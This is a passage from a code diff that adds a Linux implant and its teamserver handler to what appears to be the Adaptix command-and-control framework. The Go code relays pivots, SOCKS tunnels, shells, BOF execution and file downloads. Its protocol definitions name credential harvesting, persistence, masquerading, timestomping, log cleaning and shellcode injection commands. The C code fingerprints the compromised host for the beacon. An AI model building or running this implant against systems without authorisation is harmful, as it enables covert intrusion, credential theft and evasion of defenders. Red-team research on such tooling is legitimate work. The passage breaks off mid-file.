messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId) + messageChild = " ----- Pivot agent connection reset ----- " + } + + if pivotType != 0 { + _ = Ts.TsPivotDelete(pivotId) + if TaskId == 0 { + // Auto-disconnect from process_pivots — no task to update + Ts.TsAgentConsoleOutput(parentAgentId, adaptix.MESSAGE_SUCCESS, messageParent, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + continue + } else { + task.Message = messageParent + } + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + } + + case COMMAND_PIVOT_EXEC: + var params AnsPivotExec + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + pivotId := fmt.Sprintf("%08x", params.PivotId) + _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId) + _ = Ts.TsAgentProcessData(childAgentId, params.Data) + continue // silent relay — no task output + + case COMMAND_EXEC_BOF: + var bofOut AnsBofOutput + if err := msgpack.Unmarshal(cmd.Data, &bofOut); err != nil { + task.Message = "BOF finished" + task.Completed = true + break + } + switch bofOut.Type { + case BOF_ERROR_PARSE: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Parse BOF error: " + bofOut.Output + case BOF_ERROR_SYMBOL: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Symbol not found: " + bofOut.Output + case BOF_ERROR_ENTRY: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Entry function not found" + case BOF_ERROR_ALLOC: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Error allocation of BOF memory" + case BOF_ERROR_RELOC: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Relocation failed: " + bofOut.Output + case CALLBACK_ERROR: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = bofOut.Output + default: + task.MessageType = adaptix.MESSAGE_SUCCESS + task.Message = "BOF output" + task.ClearText = bofOut.Output + } + + case COMMAND_EXEC_BOF_ASYNC: + task.Message = "Async BOF started" + task.Completed = false + + case COMMAND_EXIT: + task.Message = "The agent has completed its work (kill process)" + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_JOB_LIST: + var params AnsJobList + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var jobList []JobInfo + err = msgpack.Unmarshal(params.List, &jobList) + if err != nil { + continue + } + + Output := "" + if len(jobList) > 0 { + Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type") + Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------") + + for _, value := range jobList { + stringType := "Unknown" + if value.JobType == 0x2 { + stringType = "Download" + } else if value.JobType == 0x3 { + stringType = "Process" + } + + Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType) + } + + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOB_KILL: + task.Message = "Job killed" + + case COMMAND_LS: + var params AnsLs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var items []adaptix.ListingFileDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Files []FileInfo + err := msgpack.Unmarshal(params.Files, &Files) + if err != nil { + continue + } + + filesCount := len(Files) + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path) + } else { + + modeFsize := 1 + lnkFsize := 1 + userFsize := 1 + groupFsize := 1 + sizeFsize := 1 + dateFsize := 1 + + for _, f := range Files { + val := fmt.Sprintf("%d", f.Nlink) + if len(val) > lnkFsize { + lnkFsize = len(val) + } + val = fmt.Sprintf("%d", f.Size) + if len(val) > sizeFsize { + sizeFsize = len(val) + } + if len(f.Mode) > modeFsize { + modeFsize = len(f.Mode) + } + if len(f.User) > userFsize { + userFsize = len(f.User) + } + if len(f.Group) > groupFsize { + groupFsize = len(f.Group) + } + if len(f.Date) > dateFsize { + dateFsize = len(f.Date) + } + } + + format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize) + OutputText := "" + for _, fi := range Files { + OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename) + + fileData := adaptix.ListingFileDataUnix{ + IsDir: fi.IsDir, + Mode: fi.Mode, + User: fi.User, + Group: fi.Group, + Size: fi.Size, + Date: fi.Date, + Filename: fi.Filename, + } + + items = append(items, fileData) + } + + task.Message = fmt.Sprintf("Listing '%s'", params.Path) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesUnix(task, params.Path, items) + + case COMMAND_MKDIR: + task.Message = "Directory created successfully" + + case COMMAND_MV: + task.Message = "Object moved successfully" + + case COMMAND_PS: + var params AnsPs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var proclist []adaptix.ListingProcessDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Processes []PsInfo + err := msgpack.Unmarshal(params.Processes, &Processes) + if err != nil { + continue + } + + procCount := len(Processes) + if procCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = adaptix.MESSAGE_ERROR + break + } else { + pidFsize := 3 + ppidFsize := 4 + ttyFsize := 3 + contextFsize := 7 + processFsize := 7 + + for _, p := range Processes { + val := fmt.Sprintf("%d", p.Pid) + if len(val) > pidFsize { + pidFsize = len(val) + } + val = fmt.Sprintf("%d", p.Ppid) + if len(val) > ppidFsize { + ppidFsize = len(val) + } + if len(p.Tty) > ttyFsize { + ttyFsize = len(p.Tty) + } + if len(p.Context) > contextFsize { + contextFsize = len(p.Context) + } + if len(p.Process) > processFsize { + processFsize = len(p.Process) + } + + procData := adaptix.ListingProcessDataUnix{ + Pid: uint(p.Pid), + Ppid: uint(p.Ppid), + TTY: p.Tty, + Context: p.Context, + ProcessName: p.Process, + } + + proclist = append(proclist, procData) + } + + format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------") + + for _, p := range Processes { + OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process) + } + + task.Message = "Process list:" + task.ClearText = OutputText + } + } + Ts.TsClientGuiProcessUnix(task, proclist) + + case COMMAND_RM: + task.Message = "Object removed successfully" + + case COMMAND_SHELL: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Shell error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Shell command output:" + task.ClearText = params.Output + + case COMMAND_UPLOAD: + var params AnsUpload + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("File uploaded: %s", params.Path) + + case COMMAND_ERROR: + var params AnsError + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Error:" + task.ClearText = params.Error + task.MessageType = adaptix.MESSAGE_ERROR + + case COMMAND_DOWNLOAD: + task.Message = "Download started" + task.Completed = false + + case COMMAND_RUN: + task.Message = "Process started (async)" + task.Completed = false + + // Tunnel MUX responses (transparent — no task UI, route directly to Ts*) + case COMMAND_TUNNEL_STATUS: + var params AnsTunnelStatus + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + if params.Success { + Ts.TsTunnelConnectionResume(agentData.Id, params.ChannelId, false) + } else { + errorCode := adaptix.SOCKS5_HOST_UNREACHABLE + if params.Reason == 5 { // connection refused + errorCode = adaptix.SOCKS5_CONNECTION_REFUSED + } + Ts.TsTunnelConnectionHalt(params.ChannelId, errorCode) + } + } + continue + + case COMMAND_TUNNEL_DATA: + var params AnsTunnelData + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + Ts.TsTunnelConnectionData(params.ChannelId, params.Data) + } + continue + + case COMMAND_TUNNEL_CLOSE: + var params AnsTunnelClose + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + Ts.TsTunnelConnectionClose(params.ChannelId, false) + } + continue + + // Agent backpressure responses (transparent) + case COMMAND_TUNNEL_PAUSE: + // Agent says: my write buffer is full, stop sending TUNNEL_WRITE + // The teamserver handles this via TsTunnelConnectionClose with writeOnly + continue + + case COMMAND_TUNNEL_RESUME: + // Agent says: write buffer drained, resume TUNNEL_WRITE + continue + + case COMMAND_TUNNEL_WRITE: + // This should never come from agent→teamserver, ignore + continue + + case COMMAND_TUNNEL_START: + task.Message = "Tunnel starting" + task.Completed = false + + case COMMAND_TUNNEL_STOP: + task.Message = "Tunnel stopped" + + case COMMAND_TERMINAL_START: + task.Message = "Terminal starting" + task.Completed = false + + case COMMAND_TERMINAL_STOP: + task.Message = "Terminal stopped" + + default: + task.Message = "Unknown response" + task.MessageType = adaptix.MESSAGE_ERROR + } + + outTasks = append(outTasks, task) + } + + } else if inMessage.Type == 2 { + + for _, jobBytes := range inMessage.Object { + + err = msgpack.Unmarshal(jobBytes, &job) + if err != nil { + continue + } + + commandId := job.CommandId + + switch commandId { + + case COMMAND_DOWNLOAD: + var params AnsDownload + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + fileId := fmt.Sprintf("%08x", params.FileId) + + if params.Start { + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, params.Size) + } + + _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) + + if params.Finish { + if params.Canceled { + _ = Ts.TsDownloadClose(fileId, 4) + } else { + _ = Ts.TsDownloadClose(fileId, 3) + } + } + + case COMMAND_RUN: + var params AnsRun + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + task.Completed = params.Finish + + if params.Start { + task.Completed = false + task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid) + task.ClearText = "\n" + + } else if params.Finish { + task.Message = "Process finished" + task.ClearText = "\n" + + } else { + task.Completed = false + task.Message = "" + + if len(params.Stderr) > 0 { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "Stderr:" + task.ClearText = params.Stderr + } + if len(params.Stdout) > 0 { + task.ClearText = params.Stdout + } + } + + outTasks = append(outTasks, task) + + // NOTE: Tunnel commands no longer come through Type 2 (Job). + // Tunnel MUX data flows in Type 1 (Command) via process_tunnels(). + + case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP: + termTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, termTask) + + case COMMAND_EXEC_BOF_OUT: + var bofOut AnsBofOutput + if err := msgpack.Unmarshal(job.Data, &bofOut); err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + + if bofOut.Type == 0xFF { + // Sentinel: async BOF finished + task.Message = "Async BOF finished" + task.Completed = true + task.ClearText = "\n" + } else if bofOut.Type == CALLBACK_ERROR { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = bofOut.Output + task.Completed = false + } else if bofOut.Type >= 0x100 { + // BOF error codes + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = bofOut.Output + task.Completed = true + } else { + task.MessageType = adaptix.MESSAGE_SUCCESS + task.Message = "BOF output" + task.ClearText = bofOut.Output + task.Completed = false + } + + outTasks = append(outTasks, task) + } + } + } + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) + } + + _ = job + + return nil +} diff --git a/AdaptixServer/extenders/linux_agent/pl_utils.go b/AdaptixServer/extenders/linux_agent/pl_utils.go new file mode 100644 index 000000000..aa75878f7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_utils.go @@ -0,0 +1,515 @@ +package main + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "regexp" + "strconv" +) + +/// Protocol types — msgpack structs for agent communication +/// These are COPIED from macOS agent, not shared. +/// Any Linux-specific additions go here without affecting macOS/beacon/gopher. + +type Profile struct { + Type uint `msgpack:"type"` + ListenerWatermark uint `msgpack:"listener_watermark"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` + BindPort int `msgpack:"bind_port"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Message types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +/// Answer / Params structs + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelWrite struct { + ChannelId int `msgpack:"channel_id"` + Data []byte `msgpack:"data"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +// Tunnel MUX responses (agent → teamserver) +type AnsTunnelStatus struct { + ChannelId int `msgpack:"channel_id"` + Success bool `msgpack:"success"` + Reason int `msgpack:"reason"` +} + +type AnsTunnelData struct { + ChannelId int `msgpack:"channel_id"` + Data []byte `msgpack:"data"` +} + +type AnsTunnelClose struct { + ChannelId int `msgpack:"channel_id"` + Reason int `msgpack:"reason"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +// Linux-specific command params +type ParamsCreds struct { + Type string `msgpack:"type"` +} + +type ParamsPersist struct { + Action string `msgpack:"action"` + Cmd string `msgpack:"cmd"` + Schedule string `msgpack:"schedule"` + Name string `msgpack:"name"` + Path string `msgpack:"path"` + Type string `msgpack:"type"` +} + +type ParamsContainer struct { + Action string `msgpack:"action"` +} + +// OPSEC command params +type ParamsMasquerade struct { + Name string `msgpack:"name"` +} + +type ParamsTimestomp struct { + Path string `msgpack:"path"` + Timestamp uint64 `msgpack:"timestamp"` +} + +type ParamsInject struct { + Pid int `msgpack:"pid"` + Shellcode []byte `msgpack:"shellcode"` +} + +// Pivot command params/responses +type ParamsLink struct { + Address string `msgpack:"address"` + Port int `msgpack:"port"` +} + +type AnsLink struct { + Type int `msgpack:"type"` + Watermark uint32 `msgpack:"watermark"` + Beat []byte `msgpack:"beat"` + Error string `msgpack:"error"` +} + +type ParamsUnlink struct { + PivotId uint32 `msgpack:"pivot_id"` +} + +type AnsUnlink struct { + PivotId uint32 `msgpack:"pivot_id"` + Type int `msgpack:"type"` +} + +type ParamsPivotExec struct { + PivotId uint32 `msgpack:"pivot_id"` + Data []byte `msgpack:"data"` +} + +type AnsPivotExec struct { + PivotId uint32 `msgpack:"pivot_id"` + Data []byte `msgpack:"data"` +} + +// BOF command params/responses +type ParamsBof struct { + Content []byte `msgpack:"content"` + Args []byte `msgpack:"args"` + EntryFunc string `msgpack:"entry_func"` +} + +type AnsBofOutput struct { + Type int `msgpack:"type"` + Output string `msgpack:"output"` +} + +/// Command codes — must match agent-side defines in types.h + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // Linux-specific commands (slots 20-30) + COMMAND_GETUID = 20 + COMMAND_ENV = 21 + COMMAND_NETSTAT = 22 + COMMAND_MOUNTS = 23 + COMMAND_EDR = 24 + COMMAND_CREDS = 25 + COMMAND_PERSIST = 26 + COMMAND_CONTAINER = 27 + + // OPSEC commands + COMMAND_MASQUERADE = 28 + COMMAND_TIMESTOMP = 29 + COMMAND_CLEANLOG = 30 + COMMAND_INJECT = 37 + COMMAND_MIGRATE = 38 + + // Pivot commands + COMMAND_PIVOT_EXEC = 39 + COMMAND_LINK = 40 + COMMAND_UNLINK = 41 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 + + // Tunnel MUX commands (data flows in main channel, not separate connection) + COMMAND_TUNNEL_WRITE = 42 + COMMAND_TUNNEL_STATUS = 43 + COMMAND_TUNNEL_DATA = 44 + COMMAND_TUNNEL_CLOSE = 45 + + // BOF commands + COMMAND_EXEC_BOF = 50 + COMMAND_EXEC_BOF_OUT = 51 + COMMAND_EXEC_BOF_ASYNC = 52 + + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_OUTPUT_UTF8 = 0x20 + CALLBACK_ERROR = 0x0d + + // BOF error codes + BOF_ERROR_PARSE = 0x101 + BOF_ERROR_SYMBOL = 0x102 + BOF_ERROR_ENTRY = 0x104 + BOF_ERROR_ALLOC = 0x105 + BOF_ERROR_RELOC = 0x106 +) + +/// Utility functions + +func parseDurationToSeconds(input string) (int, error) { + re := regexp.MustCompile(`(\d+)(h|m|s)`) + matches := re.FindAllStringSubmatch(input, -1) + + if matches == nil { + input = input + "s" + matches = re.FindAllStringSubmatch(input, -1) + } + + totalSeconds := 0 + for _, match := range matches { + value, err := strconv.Atoi(match[1]) + if err != nil { + return 0, err + } + + switch match[2] { + case "h": + totalSeconds += value * 3600 + case "m": + totalSeconds += value * 60 + case "s": + totalSeconds += value + } + } + + return totalSeconds, nil +} + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func SizeBytesToFormat(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + GB = MB * 1024 + ) + + size := float64(bytes) + + if size >= GB { + return fmt.Sprintf("%.2f Gb", size/GB) + } else if size >= MB { + return fmt.Sprintf("%.2f Mb", size/MB) + } + return fmt.Sprintf("%.2f Kb", size/KB) +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c new file mode 100644 index 000000000..96c2c2a63 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c @@ -0,0 +1,237 @@ +#include "agent_info.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Read a file into buf via direct syscalls, null-terminate +static int read_file(const char* path, char* buf, int buf_size) { + int fd = sys_open(path, 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + long n = sys_read(fd, buf, buf_size - 1); + sys_close(fd); + if (n <= 0) return -1; + buf[n] = '\0'; + // Strip trailing newline + if (n > 0 && buf[n-1] == '\n') buf[n-1] = '\0'; + return 0; +} + +int agent_info_hostname(char* buf, int len) { + if (read_file("/proc/sys/kernel/hostname", buf, len) == 0) + return 0; + ax_strncpy(buf, "unknown", len - 1); + return 0; +} + +int agent_info_username(char* buf, int len) { + // Read /etc/passwd, find line matching our UID + int uid = sys_getuid(); + + char passwd[4096]; + int fd = sys_open("/etc/passwd", 0, 0); + if (fd < 0) { + ax_strncpy(buf, "unknown", len - 1); + return 0; + } + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) { + ax_strncpy(buf, "unknown", len - 1); + return 0; + } + passwd[n] = '\0'; + + // Parse each line: username:x:uid:gid:... + char* line = passwd; + while (*line) { + char* username_start = line; + char* colon1 = (char*)0; + char* colon2 = (char*)0; + char* colon3 = (char*)0; + char* p = line; + int colons = 0; + + while (*p && *p != '\n') { + if (*p == ':') { + colons++; + if (colons == 1) colon1 = p; + else if (colons == 2) colon2 = p; + else if (colons == 3) colon3 = p; + } + p++; + } + + if (colon2 && colon3) { + // Parse UID between colon2+1 and colon3 + int parsed_uid = 0; + char* u = colon2 + 1; + while (u < colon3 && *u >= '0' && *u <= '9') { + parsed_uid = parsed_uid * 10 + (*u - '0'); + u++; + } + + if (parsed_uid == uid && colon1) { + int ulen = (int)(colon1 - username_start); + if (ulen >= len) ulen = len - 1; + ax_memcpy(buf, username_start, ulen); + buf[ulen] = '\0'; + return 0; + } + } + + // Advance to next line + if (*p == '\n') p++; + line = p; + } + + ax_strncpy(buf, "unknown", len - 1); + return 0; +} + +int agent_info_ipaddr(char* buf, int len) { + // Read /proc/net/fib_trie or parse /proc/net/if_inet6 is complex + // Simpler: read from /proc/net/tcp or use ioctl — but for Phase 1, + // just read /proc/net/route to find default gateway interface, then + // read that interface's addr. Simplest: read /proc/self/net/fib_trie. + // + // For now, parse first non-loopback from /proc/net/fib_trie + // Format of interesting lines: " |-- X.X.X.X" followed by "/32 host LOCAL" + buf[0] = '\0'; + + char fib[8192]; + int fd = sys_open("/proc/net/fib_trie", 0, 0); + if (fd < 0) return 0; + + long total = 0; + long n; + while (total < (long)sizeof(fib) - 1) { + n = sys_read(fd, fib + total, sizeof(fib) - 1 - total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + if (total <= 0) return 0; + fib[total] = '\0'; + + // Find LOCAL addresses that aren't 127.x.x.x + char* p = fib; + while (*p) { + // Look for "|-- " pattern + if (p[0] == '|' && p[1] == '-' && p[2] == '-' && p[3] == ' ') { + char* ip_start = p + 4; + // Read until newline + char* ip_end = ip_start; + while (*ip_end && *ip_end != '\n') ip_end++; + + int ip_len = (int)(ip_end - ip_start); + // Check if this is followed by a LOCAL line + char* next = ip_end; + if (*next == '\n') next++; + // Look for "LOCAL" in the next few lines + int found_local = 0; + for (int lines = 0; lines < 3 && *next; lines++) { + if (ax_strstr(next, "LOCAL")) { + found_local = 1; + break; + } + while (*next && *next != '\n') next++; + if (*next == '\n') next++; + } + + if (found_local && ip_len > 0 && ip_len < len) { + // Skip 127.x.x.x + if (!(ip_start[0] == '1' && ip_start[1] == '2' && ip_start[2] == '7' && ip_start[3] == '.')) { + ax_memcpy(buf, ip_start, ip_len); + buf[ip_len] = '\0'; + return 0; + } + } + } + p++; + } + + return 0; +} + +int agent_info_osversion(char* buf, int len) { + // Try /etc/os-release first + char osrel[2048]; + if (read_file("/etc/os-release", osrel, sizeof(osrel)) == 0) { + // Look for PRETTY_NAME="..." + char* key = ax_strstr(osrel, "PRETTY_NAME="); + if (key) { + key += 12; // skip "PRETTY_NAME=" + if (*key == '"') key++; + char* end = key; + while (*end && *end != '"' && *end != '\n') end++; + int vlen = (int)(end - key); + if (vlen >= len) vlen = len - 1; + ax_memcpy(buf, key, vlen); + buf[vlen] = '\0'; + return 0; + } + } + + // Fallback: /proc/version + if (read_file("/proc/version", buf, len) == 0) + return 0; + + ax_strncpy(buf, "Linux", len - 1); + return 0; +} + +// Get process name from /proc/self/comm +static void get_process_name(char* buf, int len) { + if (read_file("/proc/self/comm", buf, len) == 0) + return; + ax_strncpy(buf, "unknown", len - 1); +} + +int create_session_info(mp_writer_t* w, uint8_t* session_key) { + // Generate random session key (16 bytes for AES-128) + if (ax_random_bytes(session_key, 16) != 0) return -1; + + char hostname[256] = {0}; + agent_info_hostname(hostname, sizeof(hostname)); + + char username[256] = {0}; + agent_info_username(username, sizeof(username)); + + char process[256] = {0}; + get_process_name(process, sizeof(process)); + + char ip[64] = {0}; + agent_info_ipaddr(ip, sizeof(ip)); + + char os_version[256] = {0}; + agent_info_osversion(os_version, sizeof(os_version)); + + int pid = sys_getpid(); + int elevated = (sys_geteuid() == 0) ? 1 : 0; + + // Write SessionInfo as msgpack map + // vmihailenco/msgpack v5 serializes in DECLARATION order + // Go struct: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key + mp_write_map(w, 11); + + mp_write_kv_str(w, "process", process); + mp_write_kv_int(w, "pid", pid); + mp_write_kv_str(w, "user", username); + mp_write_kv_str(w, "host", hostname); + mp_write_kv_str(w, "ipaddr", ip); + mp_write_kv_bool(w, "elevated", elevated); + mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page + mp_write_kv_uint(w, "oem", 65001); + mp_write_kv_str(w, "os", "linux"); + mp_write_kv_str(w, "os_version", os_version); + mp_write_kv_bin(w, "encrypt_key", session_key, 16); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h new file mode 100644 index 000000000..ab771719f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h @@ -0,0 +1,25 @@ +#ifndef AGENT_INFO_H +#define AGENT_INFO_H + +#include 